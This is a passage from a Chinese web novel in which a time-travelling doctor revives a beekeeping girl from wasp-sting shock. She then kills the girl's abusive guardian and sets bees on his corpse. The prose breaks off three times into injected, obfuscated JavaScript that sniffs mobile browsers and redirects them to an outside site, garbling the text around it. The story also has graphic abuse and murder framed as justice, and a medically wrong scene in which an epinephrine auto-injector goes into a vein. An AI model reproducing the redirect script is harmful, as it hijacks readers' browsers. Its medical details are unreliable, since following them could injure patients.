那男人在后山有一小片苹果园,蜜蜂嗡嗡飞着,能产蜜。但讨厌的褐胡蜂在墙缝里筑了巢,一到夏秋就乱飞。铁萍姑得像个守园人,天天在附近守着。 她心里跟明镜似的,要是叫褐胡蜂伤了蜜蜂,男人非把她好一顿收拾不可。 昨儿夜里,瞅见褐胡蜂在蜂箱边晃悠,铁萍姑的心一紧,赶忙抄起根长竹竿,小心翼翼地去驱赶。谁知道,那些胡蜂一下围上来,好几只狠狠地蜇了她。铁萍姑疼得浑身发抖,眼泪在眼眶里打转,可她咬着牙,没吭一声。 过后,她强撑着用草木灰水清洗了被蜇的地方,又找来紫花地丁,捣成药糊,轻轻敷在红肿的伤口上,还煎了金银花喝。 这一通折腾,疼痛和肿胀虽说好些了,可头晕心慌的感觉一个劲儿往上涌。 她躺在柴草堆儿上,难受得翻来覆去,却紧咬嘴唇,她知道,要是哼一声,招来的肯定是男人凶残的打骂。 今儿一大早,还没等缓过劲,就又被那男人恶狠狠地打发出来卖蜂蜡。 她脚步虚浮,抱着那盆蜂蜡,走在集市上,眼神里满是绝望。 跟被抽走了魂儿似的。 她不敢不来,怕卖不掉蜂蜡,被卖掉的就是自己。 · 蜂蜡迟迟卖不出去,铁萍姑心里越来越着急,那滋味就像在火上烤着似的,煎熬得很。 也不知怎么回事,她浑身难受,连蹲着的劲儿都没了,还老是喘不过气来。 好不容易盼来个流里流气的混混要买蜂蜡,可那价钱低得简直不像话。 “二百文!” 铁萍姑惊得瞪大了眼睛,抬起头冲着那人说:“大哥,这么多的上好蜂蜡,只值二百文?!” “这价格已经很高了!” “啊?” 铁萍姑一颗心“咯噔”提到了嗓子眼儿,伸出手比划着:“您就行行好,加点钱吧,五百文,不不不,三百文,就三百文成不?” 老巢脾能煮出的纯蜂蜡本就不多,铁萍姑留着它用来诱蜂。 这块蜂蜡是蜜脾熬出来的。 要说蜡质最好的,那还得是蜜脾中的封盖蜡。 这盆蜂蜡看起来质地纯净,之所以如此,一方面是因为它本身上乘的蜡质,另一方面离不开铁萍姑的细心。她把蜂蜡收拾得干干净净,明眼人一看就知道是仔细过滤过蜂渣的。 那混混却冷哼一声,撇着嘴说:“就二百文,多一个子儿都没有!” 铁萍姑实在没辙了,苦着脸,正要咬着牙答应,心想:谁乐意卖这低价啊?可卖不出去蜂蜡,自己就得被卖掉,卖便宜了顶多挨顿打骂,总比被卖掉强。 可还没等那混混掏钱,就听到一道清越的声音响起:“且慢!这么好的蜂蜡,既能拿来做紫云膏,又能当蜡烛使,两三百文岂不是贱卖了?拿来让我先瞧瞧!” 突然听到有人说公道话,铁萍姑激动得眼眶都红了,忙不迭地应道:“诶——来了!” 说话的正是尤明姜。 她是特意给卖蜂蜡的小姑娘解围的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845508|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那混混曾见过尤明姜,当时她把田伯光揍得口吐鲜血,还一脚将人踹进了臭水沟里。 于是,那混混吓得脖子一缩,二话不说,麻溜地溜走了。 铁萍姑抱着那盆蜂蜡,急急忙忙凑到尤明姜跟前。 尤明姜瞅了她一眼,顿时呆住了。 这卖蜂蜡的小姑娘脸色苍白,嘴唇泛着吓人的青紫色。 尤明姜心里“咯噔”一下,暗叫不好。 这嘴唇泛着青紫色,可是要命的危险信号,得赶紧救人! “你是不是被蜜蜂蜇了?”尤明姜着急地问道。 “不是蜜蜂,是褐胡蜂,叮了好几下……” 吸气越来越费劲,眼前的东西也开始模糊不清,铁萍姑只觉得天旋地转。 她两条腿直发软,再也撑不住身体。 紧接着两眼一黑,整个人直挺挺地往后倒去。 · 眼瞅着人就要栽倒了,尤明姜一个箭步冲上前,一手托住装蜂蜡的脸盆底,一手将人搂个满怀。 茶婆忙不迭上前支应,接过那盆蜂蜡来。 只见铁萍姑双眼紧闭,脸色惨白,嘴唇也没了一丝血色。 就这么毫无生气地靠在尤明姜怀里。 “这是休克了!” 尤明姜心一揪,将人打横抱起,就往茶棚里冲。她一边小跑,一边扯着嗓子喊:“茶婆,快腾个地儿,人昏死过去了!” 冲进茶棚,围观的百姓却没散开,还一个劲儿地往前挤。 “哗啦”几声,尤明姜直接把四五张方桌,踹得侧翻在地,竖在周围弄成了个简易的围挡,刚好把那些好奇的目光挡在外头。 然后,她又从竹编药篓里拽出那一卷苇席,三两下铺在地上。 尤明姜把铁萍姑安置上去,再伸出手指,使劲掐铁萍姑的人中。 糟糕! 一点儿反应都没有! 她深吸一口气,迅速从竹编药篓中取出一支0.3mg的【肾上腺素自动注射器】。 针头闪着冷光,尤明姜用食指轻轻弹了弹针筒,“啪”的一声脆响,把多余的空气赶走,接着缓缓推动活塞,药水慢慢向针尖移动。 找到静脉后,尤明姜把针头扎进铁萍姑的皮肤,药水缓缓顺着血管流进去,注射完了,她迅速拔出针头,用纱布紧紧按住针眼。 尤明姜紧紧盯着铁萍姑的脸,额头冒出一层细密的汗珠:“醒过来,一定要醒过来。” 没一会儿,铁萍姑的眼皮轻轻动了动,慢慢睁开了眼睛。 “醒了!真的醒了!” “这玩意儿可真神了!” 周遭的惊叹声一下子炸开了锅。 与此同时,耳边传来一阵系统播报声: 【叮!尊敬的少侠,您在开封城中行侠仗义,成功拯救一名身中蜂毒的弱质女流,义酬已发放到您的竹编药篓。】 义酬如下: 【奥美拉唑肠溶胶囊10mg*14粒/盒】 【氯雷他定片10mg*12片/盒】 【凝血酶冻干粉500单位*10瓶】 【特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 尤明姜知道,这就意味着这个卖蜂蜡的小姑娘,已经成功被自己抢救过来了。 她一直紧绷着的神经这才松了松,脸上露出一点欣慰的笑。 当然,她也不敢多耽搁,从竹编药篓里取出一瓶500ml的【静脉输液瓶(林格氏液)】,麻溜地给铁萍姑挂上了吊针。 茶棚被围了个水泄不通,周遭儿议论纷纷: “这个透明的瓶儿,又是啥玩意儿?那根细管子还能扎进肉里头哩!” “俺滴个乖乖,这玩意儿太生猛了,那药水直接就进了身子,咋做到的?” “万一出了岔子,人还能活吗?俺可不敢用!” …… 茶棚对面是个小饭馆。 小饭馆的屋脊上,稳稳地坐着个头戴笠帽的灰衣青年。 帽檐压得很低,他一条腿随意晃荡着,另一条腿蜷在瓦片上。 修长的手指拈起一颗饱满的干炒花生,不太生,也不太熟。 在太阳的闪光下,花生壳的纹理清晰可见。 随着指尖轻巧发力,“咔哒”一声,花生壳裂成两半,露出几粒粉嫩白胖的花生仁。他将花生丢进嘴里,微微眯眼,一边嚼,一边打量茶棚里救人的年轻铃医。 单看身段,便能看出她是个美人,只是打扮颇为寒酸。与那些精心妆扮的美娇娘相比,她显得有些“不修边幅”,也全然没有那一派弱柳扶风之态。 瞧她那健康的模样,仿佛随时能捋起袖子,轻轻松松扛起一麻袋麦穗,甚至还能飞檐走壁。不过,想必没人敢在她面前多嘴,她看起来就不太好惹,谁要是冒犯,她说不定真会撕烂对方的嘴 。 很特别。 将最后一粒花生扔进嘴里,灰衣青年轻轻扬起了嘴角,一阵风吹过,屋檐上已不见他的踪影。 只剩下一堆微微晃动的空花生壳。 · 4. 眼泪 铁萍姑费了好大劲儿,才把眼睛勉强睁开一条缝。 “你醒啦。”一道清越的声音在她耳边响起来。 铁萍姑脑子还迷糊着,嘴唇动了动,好像想说点什么。 尤明姜把耳朵凑到她嘴边,就听到一句含含糊糊、轻轻弱弱的“别打我”。 别打我? 尤明姜一下子愣住了。 这小姑娘以前生病的时候,八成是总挨打,所以这会儿生病迷迷糊糊的,才会下意识地害怕。 尤明姜心里怪不是滋味的,轻轻摸了摸铁萍姑的额头:“别怕,我不打你。来,把药吃了,吃了药就不难受了。” · 茶婆递过来一碗温白开水,尤明姜接过来,又从药盒里取出一片【氯雷他定片】,放在手心里,然后轻轻揽住铁萍姑的脖子,把药片喂进了她的嘴里。 铁萍姑就着尤明姜端的温水仰头咽下,药片顺利滑过喉咙。 不一会儿,她就觉得憋闷感逐渐消散,难受劲儿也慢慢减轻了,竟不由自主地睡熟了。 尤明姜趁机站起身来,好言好语,把周遭看热闹的一群老百姓给劝走。 随后又坐回到了苇席边上。 她专心盯着那一瓶500ml的【静脉注射液(林格氏液)】,只盼着打完吊针以后,铁萍姑能快一点儿好起来。 · 过了好一会儿,铁萍姑终于清醒了,一眼就看到这一幅画面。 她心里清楚,这个年轻的铃医就是自己的救命恩人。 她使劲撑着瘦弱的身体,想从苇席上爬起来,给恩人磕几个响头。 谁知道这一动,不小心扯到手上扎着的吊针,回血在输液管里蔓延了一小截。 铁萍姑不禁“嘶”了一声。 尤明姜反应快,赶紧按住她:“别乱动,安心躺着就行,我在这儿守着你。” 说完,她拎起衣袖给铁萍姑擦了擦冷汗。 衣袖沾染了紫云膏的气味儿,暖烘烘的,拂过脸颊时,香得好温柔。 铁萍姑也不说话,就直勾勾地盯着尤明姜的脸。 又温柔又好看。 像个神仙,铁萍姑心想。 · 不多时,吊针打完了。 尤明姜把那些医疗垃圾归拢好,一股脑儿丢进竹编药篓。 这边刚收拾完,就见铁萍姑“噌”地一下站起身,直挺挺地走到她跟前。 然后,她“扑通”一声跪下了。 · 这突如其来的一跪,惊得尤明姜像安了弹簧似的,“嗖”地跳了起来。 她慌得伸手去扶:“哎呀,小妹,这是做什么?好端端地怎么还跪下了?” 铁萍姑不肯起身,梗着脖子,把那盆蜂蜡高高举过头顶。 嗓子哑哑地说: “恩人,虽然我身无长物,但这盆蜂蜡还能凑合。剩下的诊金,求您行行好,多给我些日子凑凑……” 尤明姜听了这话,先是愣了一下,连忙接过那盆蜂蜡,搁到了旁边。 “小妹,你可别这么说,人命关天,我这就是顺手的事儿。” 她双手架着铁萍姑的胳膊,硬是把人扶回苇席上躺着。 铁萍姑躺在苇席上,没一会儿又坐起来:“您放心,诊金我绝不耍赖。” “好好好。小妹,我姓尤,叫明姜,你叫我尤大夫就行。”尤明姜笑得无奈。 “那……多谢尤大夫。”铁萍姑小声说。 “对了,还不知道你叫什么呢?”尤明姜随口一问。 铁萍姑沉默了好半天。 就在尤明姜以为她不会回答的时候,她轻轻地吐出三个字:“铁萍姑。” 说完,她有些不自在地抬手撩了撩头发。 这一下,衣袖滑落下来,露出一截儿瘦弱的胳膊,手臂上满是抓握的瘀青! · 这些淤青交叠在一起,像是反复弄出来的。 尤明姜眼尖,一下子就看到了,她神色凝重,立刻想看个仔细,铁萍姑却一把捋下袖子,死死捂着不让看。 尤明姜皱了皱眉:“……” 铁萍姑低下头:“……” 尤明姜盯着她,眼神里满是探究。 这小姑娘瘦得让人心疼,小脸儿毫无血色,尤明姜先前抱她,就觉她比同龄人轻许多,想必在家常饿肚子。 见她遮遮掩掩的,尤明姜想了一会儿,瞥见那一小盆蜂蜡,脑中灵光一现。 试探着说:“小妹,我不能白拿你的蜂蜡,这簪子应该能值点钱。” 随后,她就从发髻上拔下一根老式样儿的银簪子。 这银簪子有些年头了,没了新簪子的鲜亮劲儿,簪尖也钝了。 铁萍姑一个劲儿地摇头,怎么也不肯要这簪子。 尤明姜劝她:“你出来卖蜂蜡,要是不拿点钱回去,家里人不会生气吗?” 这话说完,铁萍姑的呼吸一下子变得急促起来。 她整个身子抖得厉害,下意识地捂住了满是青紫瘀伤的手臂。 都到这份儿上了,尤明姜还猜不出个大概,那就是白活了。 她深吸一口气,把簪子硬塞到铁萍姑手里,不给她拒绝的机会: “你不收,我就不要你的蜂蜡!” 铁萍姑瞳孔一缩,手中握着那根簪子,不敢继续推辞。 . 见她收下了银簪子,尤明姜这才肯把蜂蜡放进篓里。 然后又取出剩余的【肾上腺素自动注射器】和【氯雷他定片】,递给她。 铁萍姑再没见识,单从药效上,也知道这些个都是顶稀罕的神药。 她犹豫着不肯接过来。 尤明姜直切要害,轻声嘱咐:“我能帮的就这些,拿着。” 铁萍姑低着头,接过来:“尤大夫,谢谢您……” “那你多保重,我先走了。” 尤明姜摸了摸她的脑袋,将竹编药篓挎在肩上,转身往外走。 好像压根儿没把铁萍姑被虐打的事儿放在心上。 · 经过茶婆时,笑着递上一盒紫云膏:“茶婆,不好意思,今儿没带茶钱。” 茶婆赶忙摆手:“使不得!尤大夫,咋跟我老婆子见外呢?拿这紫云膏当茶钱,不是折煞我嘛!” 尤明姜使了个眼色,看向苇席上的铁萍姑,劝道:“茶婆,这不是茶钱,是车钱。我手头没现钱了,又不好意思赊账……” 茶婆佯怪道:“咋?这天底下就你尤大夫是好人?还用你掏钱?我早打算好了,一会儿给这小姑娘拦个牛车,让她跟着赶集的婶子大娘一道走,保准平安到家。” “那就太感谢您了。”尤明姜笑着说,“那您忙,我先走了。” 待事情安排好,尤明姜走出了茶棚,驾着骡车离开了。 · “尤大夫……” 望着尤明姜远去的身影,铁萍姑攥紧了那根老银簪子,她张了张嘴,想要喊住那个身影,却发不出一点声音。 她又想起了小时候。 爹一怒之下将娘杀而烹食之后,独自逃往了恶人谷,将她寄养在他的朋友家。 她恍惚记起爹的模样,稚嫩的自己扯着爹的衣角哭喊:“爹,带我走!爹!” 爹只是满脸堆着笑,对朋友说:“老哥,别生气,我女儿不懂事……” 随后不顾她挣扎,把她推到他的朋友面前,还塞过去一个钱袋子。 那男人“哼”了一声:“寄养可以,咱丑话说前头,有口粗茶淡饭就不赖了。要是养不起了,可别怪我不长久留人。” 爹陪着笑应承:“那是自然,那是自然。” 那男人又补了句:“这可是你说的,以后别来找我麻烦。” 打那时起,她就明白,就像孟姜女哭不倒长城,她再怎么哭,也找不回自己的家。 铁萍姑抬手一抹脸,湿漉漉的,这才回过神来自己又哭了。 她苦笑着喃喃:“还当这眼泪已经流干了呢。” · 日薄西山。 骡车慢悠悠地晃着,总算到了铁萍姑所在的村落。 尤明姜往铁萍姑身上撒了些丁香粉,骡子就顺着味儿找到了地儿。 平常她用丁香粉训练骡子,让它闻惯那股浓香,要是表现好,就喂些麦麸、红薯当奖励,时间一长,骡子就会跟着丁香粉的味儿跑。 救人就得救到底,尤明姜可不是那种半途而废的人。 她瞧得出铁萍姑脾气倔,干脆直接动手。有那劝的工夫,人都救出来了。 这个村子在开封城外的一处丘陵上。 尤明姜把骡车卸了,拿布裹住骡子的嘴和蹄子,牵着骡子走小道儿摸了进去。 铁萍姑寄养的地方挺偏,周围树长得密密麻麻,平常也没什么人来。 倒是个藏“人”的好地方。 · “这户人家看着还挺殷实,大瓦房盖得敞亮,不像个缺衣少食的……” 尤明姜翻墙进了院子。 院子里放着几个旧蜂箱,箱子支架上挂着一把割蜜刀。 屋子里,扇耳光的声音特别刺耳。 只因为铁萍姑对那男人说,她不仅没换到钱,还把蜂蜡给弄丢了。 这句话直接激怒了男人,他手中握着火钩子,指着铁萍姑的鼻尖儿骂。 “废物!蜂蜡那么金贵,竟然被你弄丢了,你是不是成心要气死我!” “你这个该死的蠢货!白吃白喝这么多年,连卖个蜂蜡都能弄丢了!” “我养你这废物有什么用!” · 尤明姜在窗外听得直皱眉,同时心里也有些奇怪。 蜂蜡明明在自己这里,铁萍姑为什么要撒谎呢? 明明给了铁萍姑一支银簪子,她怎么不交上去呢? · 屋子里的怒吼声越来越大。 “你爹娘怎么生出你这么个晦气的赔钱货!” 尤明姜在窗户纸上戳了个小洞,凑过去看屋内的情景。 那男人手中的火钩带着风声,“啪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845509|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”地狠狠抽在铁萍姑的脊背上。 一下又一下,铁萍姑倒在地上,抽搐得缩成一团,一道道血印子渗透了衣衫。 看得尤明姜一颗心揪得生疼。 · 那男人下手毒辣,没有一点停手的迹象,还叫嚷着要把铁萍姑卖给人牙子。 一把薅住铁萍姑的头发,男人眼神□□地上下打量她,语气不无可惜:“我把你卖给人牙子,后天他就来领你走,能得二两银子呢。你也就剩下这副皮肉还值点钱了。要不是雏儿能卖得更贵,哼,老子早就……” 真是个畜生! 尤明姜本想蒙着脸,悄悄把人救走,可她这会儿改主意了。 这么坏的人,不死都没天理。 铁萍姑脸色煞白,挣扎着想跑,这可把那男人惹火了,抬手又是一顿揍。 那男人边打边骂:“你娘是个不要脸的偷人精,你爹是个杀人不眨眼的食人魔,你也不是个好货,就该去窑子里当婊子,也算是继承了你家的‘好’家风!” · 尤明姜竟然笑了。 愤怒到了极点,她就只好微笑了。 眼睛左右一瞟,刚好瞥见了旧蜂箱支架上挂着的割蜜刀。 那刀宽得像柳叶,薄得跟纸似的。 她脸阴沉沉的,径直走到旧蜂箱处,默默握住了割蜜刀,转身上前砸门。 · “哐哐哐!” 屋里的男人正打骂得起劲,突然听到一阵儿阎王催命似的砸门声。 “谁啊!”他语气很冲。 门外的人一声不吭,只是一个劲儿“哐哐”砸门,砸得越来越急促。 误以为是人牙子提前到了,他只得丢开火钩子,没好气地过去打开门。 他骂骂咧咧:“急什么急?敲你奶……” 话还没说完,一把割蜜刀倏地扎进了他的脾脏! 男人被这猝不及防的一刀,扎得瞪大了眼睛,眼神里写满了不敢置信。 尤明姜松开握刀的手,紧接着飞起一脚,狠狠踹在了刀把儿上。 锋利的刀刃借着这股狠劲儿,“噗”地穿透了男人的皮肉,深深没入他的脾脏之中。 男人踉跄着后退几步。 “你……你……” 他满脸惊恐,双手颤巍巍地捂住伤口。 然而,鲜血还是从指缝间汩汩往外冒,迅速漫过他的手掌,顺着胳膊往下淌,在地上积了一大滩殷红。 · 尤明姜笑得眉眼弯弯。 眼里却透着股狠劲儿,轻轻说道:“你这挨千刀的,到地底下忏悔去吧!” 说完,她脚下生风,“嗖”地一下闪到男人的身后。 左手死死掐住男人的脖子,右手一使劲儿,把他的脑袋往旁边狠命一掰。 男人瞪大了眼睛,刚要扯着嗓子喊救命,就听“嘎嘣”一声! 颈椎骨像是被硬生生扯断了一样,男人的脑袋耷拉在了肩膀上。 他身子软得跟面条似的,“扑通”一下倒进尤明姜怀里。 真恶心。 尤明姜眉头一皱,跟扔破口袋似的,一脚将男人的尸体踹到了墙上。 男人眼睛瞪得大大的,死了都闭不上眼。 “报应!”尤明姜轻啐了一口唾沫。 · “咳咳咳……尤大夫,是您吗?尤大夫……” 铁萍姑缩在角落里,一边剧烈地咳嗽着,一边虚弱地询问。 她鼻青脸肿,浑身被火钩子打得皮开肉绽,嘴角也挂着血痕。 尤明姜一个箭步上前,立刻从竹编药篓里取出一卷【医用无菌脱脂纱布】、4瓶共计2000单位的【凝血酶冻干粉】,还有一个装着自制淡盐水的竹筒。 当务之急是给她止血。 “抱抱我……”铁萍姑的声音里带着哭腔。 尤明姜忍着泪意,小心翼翼地把她搂在怀里:“好,抱抱你。” “小妹,为什么不把银簪子给他呢?他这么打你,真能把你打死……” 铁萍姑依偎在她的怀中,满足地闭上眼睛: “他是我爹的朋友,当初为了把我寄养在这儿,我爹给了他不少钱,可他没照顾我,还一个劲儿地虐待我。” “尤大夫,我不想把银簪子给他。因为那是你给我的,只给我一个人的。” “这些年,一直是我在照料蜜蜂,蜂蜡也是我熬的,我觉得我有权决定把蜂蜡送给谁。我本来想着把蜂蜡送给你,然后一碗土信子先药死他,再药死我自己。” · 尤明姜将【凝血酶冻干粉】溶解在淡盐水中,洒抹到铁萍姑流血的伤口上。 她一边用【医用无菌脱脂纱布】来包扎,一边静静地听着铁萍姑的絮叨。 “可是遇到你之后,我突然又想再撑一撑。” “因为你疼我。” “把我当个人来疼。我已经好久没感受过这样的好了。” 说到这儿,铁萍姑泣不成声,眼泪大颗大颗地落下。 · 5. 惩罚 “尤大夫,我真的好疼,好疼……” 铁萍姑靠在尤明姜的怀里,哽咽着,将那男人的暴行一一道来。 “那个男人,他根本不把我当人看,我就像一头猪狗,只配吃馊的食物,睡在烂的地方,他对我抬手就打,张口就骂,想卖就卖……” “这些年来,我恨透了这个男人,可我也恨透了我爹,要不是他,我怎么会活在这个没底的黑洞地狱……” 铁萍姑声声泣血,每一个字都好似一把盐,狠狠地撒在还在渗血的伤口上。 “这些都会过去的……” 尤明姜眼眶发热,轻轻抚着铁萍姑的后背,一时间竟找不到合适的言语来安慰,第一次显得这么的笨拙。 铁萍姑死死地捂着脸,喉头发出了声声绝望的恸哭。 这哭声,狠狠撞击着尤明姜的心。 尤明姜不知道该如何劝解。 铁萍姑遭了这么多罪,怎么可能不流泪? 她心想,一句干巴巴的安慰抵什么用呢? 尤明姜只能搂着她,等着她把眼泪流干。 . 眼见铁萍姑的情绪越来越崩溃,尤明姜担心她的身体,不敢让小姑娘再这样哭下去。 她赶忙取出一瓶闹羊花水,轻轻在铁萍姑的鼻尖晃了晃。 过了没一会儿,铁萍姑的眼神就涣散了。 恍惚间,她隐约感觉到尤大夫出了门。 不一会儿又回来了,随后院子里似乎多了一辆骡车。紧接着,她被尤大夫打横抱起,放到了骡车的车篷底下。 铁萍姑陷入了昏睡。 “睡吧,等你睡醒了,一切都会过去的。” 尤明姜抬手,将她额前的碎发轻轻拢到耳后。接下来要做的事,不必被铁萍姑知道。 · 尤明姜转身进了男人家的厨房。 灶台黑漆漆的,锅沿沾着些油污。尤明姜没管这些,使劲翻了半天,找出几个封得严实的陶罐子,打开一看,是黄澄澄的蜂蜡。墙角还有个大木桶,装满了诱蜂水。 陶罐里的蜂蜡被收拾得干干净净,明眼人一看,就知道这是铁萍姑的心血。 这个男人根本不配将这些东西占为己有! 一想到铁萍姑长期遭受他的折磨,尤明姜就怒火中烧。 是时候,也该让这怒火熄灭了。 . 屋内。 墙角处躺着的是那个男人的尸体。 尤明姜慢条斯理地戴上手套,蹲到了男人的尸体旁。 目光落在捅穿了脾脏的那把割蜜刀上。 她抿了抿唇,伸出手握住刀柄。 先轻轻晃了晃,感觉刀身卡得不太紧,她猛地一用力,将割蜜刀拔了出来。 死了都没闭眼的男人,随着这股力道,脑袋竟微微向一侧歪去,他的嘴唇微微张开,一丝黑红的血从嘴角缓缓渗出。 “别急,待会儿还给你。” 尤明姜温柔一笑,反手又补了几刀。 一下、两下…… 每一刀下去,都溅出一朵朵暗红的血花。 男人的尸身被捅得一片血肉模糊。 不知过了多久,尤明姜终于停下了刀。 她说:“还给你。” 中指和食指夹住割蜜刀,刀身在指缝间转了个刀花,然后插入尸体的脾脏内。 尤明姜站起身来,径直去了厨房。 · 她挽起衣袖,将装了蜂蜡的陶罐子,还有一大桶诱蜂水,统统搬进了屋子里。 尤明姜伸出右手,握住一块蜂蜡,“咔嚓”一声,蜂蜡裂成了碎片。 抬手在尸身的周遭洒下蜂蜡的碎片。 一圈又一圈,就像个筑巢的蜜蜂似的。 做完这一切,她一手掐着桶沿,另一手托起桶底,把诱蜂水从头到脚浇灌在尸体上。 她浇灌得格外仔细,不放过任何一处,尤其是那些个狰狞的伤口。 那尸体像血葫芦似的,这一大桶诱蜂水,本身就有一股蜂蜜的淡淡甜香,于是甜腻腻的蜂蜜香气,混合着刺鼻的血腥气,形成了一股甜腥交杂的恶臭。 尤明姜仿佛没闻到似的,反而仔细地关好每扇门窗,逐一检查,不留一丝缝隙。待这一切完成,她从竹编药篓中取出一罐桐油,又从柴房找来一把猪鬃刷子,把刷子伸进桐油里蘸得满满的。 然后,她一只手拿刷子,另一只手扶着门窗框,沿着门窗的缝儿,仔细地用桐油涂抹。 涂了桐油的门窗,泛出一层微微的光泽。 尤明姜神情居然很平静。 她戴上蒙脸巾,又披上厚实的蓑衣,从头到脚,裹缠得密不透风,仅露出一双冷漠的眼睛,然后走出小屋,向着后山的苹果园走去。 一路上,风穿过树林,树叶沙沙作响,带着淡淡的泥土气息。 尤明姜并不崇尚杀戮。 但她是个很有血性的人,非常喜欢宣扬真理。 对于一个个不懂真理的恶人,她总是喜欢让他们见识见识,什么是圣母的真理。 来到苹果园,尤明姜眯着眼,环顾四周,很快就找到了那几箱蜜蜂。 双手按压在一只蜂箱之上,指尖微微颤抖着,仿佛能够透过那粗糙的木质箱体,真切地感受到箱内蜂群的剧烈躁动。 这些蜜蜂本是铁萍姑的心血结晶,可如今却也成了铁萍姑痛苦的根源。 她要做的就是斩断这一切。 尤明姜深吸一口气,将这些蜜蜂陆续搬到男人家中,稳稳地放置在屋子四周。 她蹲下来,眼睛死盯着蜂箱口,双手慢慢打开箱盖,接着马上退了出去。 这时候,在蜂蜡的诱引和桐油的刺激下,屋内的蜜蜂“嗡嗡”声越来越大…… . 静静地听了会儿屋内的动静,尤明姜给屋子挂上黄铜锁。 做完这些后,她从水缸中舀水洗手。 先把沾血的手放在草木灰中反复搓洗,接着用皂角和清水仔细冲洗,然后从厨房找来一罐子黄酒倒在手上,以便彻底祛除腥味。 尤明姜站在原地想了想。 男人所住的院落位置偏僻,与村子里其他住户间隔了挺长的距离,差不多要等上两三天的时间,才会有村民发现此处的异样。 于是,她心安理得地驾着骡车,载着昏睡中的铁萍姑往家走。 临走前,她将男人厨房里的粮食、蜂蜜、腌咸菜、腊肉之类的,连同调味料一起,一股脑儿地装进竹编药篓带走了。 看到厨房里那些满满当当的食物时,尤明姜气不打一处来。 男人根本不缺吃的,多铁萍姑一副碗筷又何妨?可他却如此恶毒刻薄,对铁萍姑非打即骂,行为与畜生无异。 这些食物,就当是那男人用来补偿铁萍姑的吧。 往后,就用这些食材给铁萍姑调养身子吧,一定滋补得她健健康康、结结实实的。 · 月亮爬上了树梢。 月光穿过树叶的缝隙,洒在波光粼粼的河面上。 一个只穿着衫裤的俊俏青年,精赤着上身,缓缓走下了河。 他的衣服叠放在一块石头上,腰带上挂着那柄薄刃的无鞘剑。 河水没过他的腰身,从脖子到肩膀,再到后背和腰间,那一大片微微消瘦的苍白肌肤被搓得通红。 可他却仿若未觉,依旧沉浸在愤怒之中。 胸腔剧烈地起伏,怒火在他体内肆意翻涌,几乎要将他的理智完全吞噬。 就差那么一点,他就会忍不住出剑杀了那个不知廉耻的女人! 薛果交给他的全副家当里,除了八十万两银票,还有薛果的一个女人。 他一掌将那个女人掴倒在地上。 因为那个女人脱光了衣服,试图勾引男人。 而那个女人想要勾引的男人,正是他。 白花花的胴体在他面前晃来晃去,晃得他眼花缭乱。 当时,他浑身都在剧烈的颤抖。 那一股岩浆似的热流,从他的腹部往上一直延伸到喉咙。 可惜不是欲望,而是胃里的呕吐物。 青年只觉得一阵说不出的恶心。 他当场就吐了个天昏地暗。 虽然那个腌臜女人没有得逞,但他却第一次感受到,这世间在情感方面还存在一种极具毁灭性的创伤,那就是背叛。 无论是男人对女人的背叛,还是女人对男人的背叛;无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青年的心“突突”狂跳,满腔的愤懑忽然消散了不少。 是这个“救人如救火”的尤大夫啊。 一看到她,就像是寒冬腊月里喝了一盏雪菜冬笋豆腐汤,十分清爽开胃。 他现在一点儿都不觉得恶心了。 · 兴致勃勃地打量着尤明姜,青年光着膀子,他抱着肩膀,站在河水中。 突然,他唤了一声:“喂。” 尤明姜听到这一声呼唤,心中一惊,迟疑片刻后回过身,勒住缰绳,想看他究竟要做什么。 说实话,尤明姜此刻最为担忧的,并非自己露出马脚,而是眼前这个浑身散发着高手气场的年轻男子会突然暴起伤人。 要知道,这辆骡车的车篷之下,还躺着遍体鳞伤的铁萍姑呢。 尤明姜的目光落在那堆衣物间的无鞘剑上,更何况,对方手持这般锋利的兵刃,显然是个江湖人物。 她的手不自觉地伸向自己的腰间,那里别着一把鹤嘴镐,已然做好随时应对突发状况的准备。 好在河里的青年没有进一步的举动,只是用一种奇异而灼热的眼神盯着她,害得尤明姜都不敢朝河里正眼瞧去。 站在河水中的青年嘴角上扬,露出一丝促狭的笑意,问道:“好看吗?” “什么?”尤明姜眉头紧皱,一脸茫然。 青年叹了口气,脸上带着揶揄之色,调侃道:“我今儿个才晓得,女人里头也有登徒子。” 尤明姜撇了撇嘴,满脸不悦:“你说什么?!” 看样子,她是把这青年当成田伯光那般油嘴滑舌的人了。 青年捧起一汪水浇在身上,神色淡淡:“我说,你喜欢偷看男人洗澡。不然怎么慢悠悠地,还不舍得走呢?” “你还想继续看吗?” 尤明姜一怔,这才回过神来,抬手挡在脸侧,连忙说道:“对不住,对不住。” “不好意思。” 说罢,她匆匆低下头,轻抖缰绳,骡车缓缓前行。 紧接着,便听到身后的青年开怀大笑,笑声里似乎透着几分畅快。 驾着骡车的尤明姜涨红了脸,咬了咬牙,低声咕哝了一句:“无聊。” · 6. 悬赏令 尤明姜回到住处,先是仔细整理了竹编药篓,接着又细细加固了骡车的车篷。 车篷内,铁萍姑昏沉不醒。 